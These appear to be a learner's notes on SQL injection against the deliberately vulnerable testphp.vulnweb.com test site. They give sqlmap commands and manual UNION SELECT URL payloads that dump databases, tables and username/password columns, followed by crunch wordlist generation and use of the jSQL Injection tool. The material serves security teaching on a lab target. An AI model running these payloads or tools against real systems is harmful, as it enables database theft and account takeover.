SQL INJECTION

❖Using Sqlmap tool in kali :-

Go to vulnweb.com site -> go to on second option acuart -> go to on artist -> click first artist -> you can see in url with id 1 -> copy this link -> go to terminal .

If you want to see database in this site :-

Sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 –dbs (if ask y or no say y to all).

If you want to see tables in this database :-

Sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart –tables

If you want to see columns in this table :-

Sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user –columns

If you want to see data in this columns :-

Sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user -C uname –dump

OR

Sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T user -C pass –dump

Now you have username and pass -> go back to site -> go to signup -> give credentials -> and you can see you are login and can see all details and you can also update username .

- ❖ SQL injection without using any tool in kali :-

Go to vulnweb.com site -> go to on second option acuart -> go to on artist -> click first artist -> you can see in url with id 1 -> copy this link -> and open new tab . -> paste below queries on url .

If you want to show database than:-

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --

Find the Current Database Name :-

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,database() --

Find All Table Names :-

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --

Extract Columns :-

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' --

Extract data in the column :-

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,GROUP_CONCAT(uname, ':', pass) FROM users --

❖Create Dictionary Using Crunch Commands :-

Crunch –help :- to see syntax .

1. Basic Usage

crunch <min> <max> <charset> -o <output>

- <min> = minimum password length
- <max> = maximum password length
- <charset> = characters to use (e.g., abc123)
- -o = output file (where you want to save output)

Example:

crunch 4 6 abc123 -o wordlist.txt

Generates all combinations from 4–6 characters using a, b, c, 1, 2, 3.

2. -t (Pattern Mode)

- The -t option allows you to create templates (patterns) for wordlists.
- Some parts stay fixed (don’t change).
- Some parts use placeholders (change automatically).

This is useful when you know part of the password but not the whole thing.

Placeholders in -t :-

- @ → lowercase letters (a–z)
- , → uppercase letters (A–Z)
- % → numbers (0–9)
- ^ → special characters (!@#$...)

You can mix these to create patterns.

Examples:-

1. Only lowercase letter changes

Command:

crunch 8 8 -t maya@123 -o wordlist.txt

Output:

mayaa123

mayab123

mayac123

...

mayaz123

Here:

- Fixed: maya + 123
- Variable: @ → a–z

3. -c (Split by Lines)

Splits the output into multiple files with a specific number of lines each.

Example:

crunch 1 5 abc123 -o START -c 1000

This will split by lines into several random file names like x-xy32y.txt.

4. -b (Split by Size)

Splits output by file size (e.g., 10kb each).

crunch 1 5 abc123 -o START -b 10kb

This will split into several random file names like x-xy32y.txt.

5. -d (Limit Duplicate Characters)

Restricts how many times the same character can repeat.

Example:

crunch 4 4 abc123 -d 2 -o start.text

- No character will repeat more than twice.
    - -d 2 means no character can appear more than 2 times consecutively.

7. -s (Start Point)

Starts generation from a specific string.

It tells crunch:
“Don’t start from the beginning — start from this word instead.”

- Normally starts at: aaaa → aaab → aaac …
- With -s a1b2, it starts at a1b2 → a1b3 → a1ba … → ends at 3333.

crunch 4 4 abc123 -s a1b2 -o start.text

8. -e (End Point)

Stops generation at a specific string.

It tells crunch:
“Stop making words when you reach this word.”

crunch 4 4 abc123 -e b3c2 -o stop.txt

Normally, crunch would go:
aaaa → aaab → aaac → … → b3c2 → … → 3333

With -e b3c2, it will stop at b3c2 and not continue further.

9. -l (Custom Pattern Length)

Marks which characters in your pattern should change (@, ,, %, ^) and which should remain fixed.

It tells which parts of your pattern should change and which should stay fixed.

Example you gave:

crunch 8 8 -t pass@@@@ -l abcd -o pattern.txt

- -t pass@@@@ → means password will always **start with pass**, and then **4 places** (@@@@) will change.

- -l abcd → means only **a, b, c, d** positions can change.
    - a = 5th letter
    - b = 6th letter
    - c = 7th letter
    - d = 8th letter

So, **only the last 4 characters will change**, the first 4 (pass) will never change.

❖ JSQL Injection :- It is a tool that **automates finding and exploiting SQL injections** (like detecting parameters, dumping databases, etc.).

- **Install jSQL**

If not installed:

sudo apt update

sudo apt install jsql-injection

- **Launch jSQL**

jsql-injection

A graphical window will open.

- **Enter the Target URL**

  Copy the website URL you want to test (with permission!).

  Example: http://testphp.vulnweb.com/listproducts.php?cat=1

  Paste it into the jSQL URL field.

- **Start Injection**

  Click **"Start" or Play button** (->) .

  jSQL will scan the parameter (?cat=1) for SQL injection vulnerabilities.

- **Analyze Results**

If vulnerable:

  It will show database names, tables, and columns.

  If not, try adjusting injection type or method.

- **Explore Databases**

  After successful detection, select:

  Databases → View available DBs.

  Tables → Choose tables to explore.

Columns → Dump data (like usernames, passwords). Select database and right click -> click on load.

- **Export or Save**

Export data in CSV, TXT, or SQL format if needed.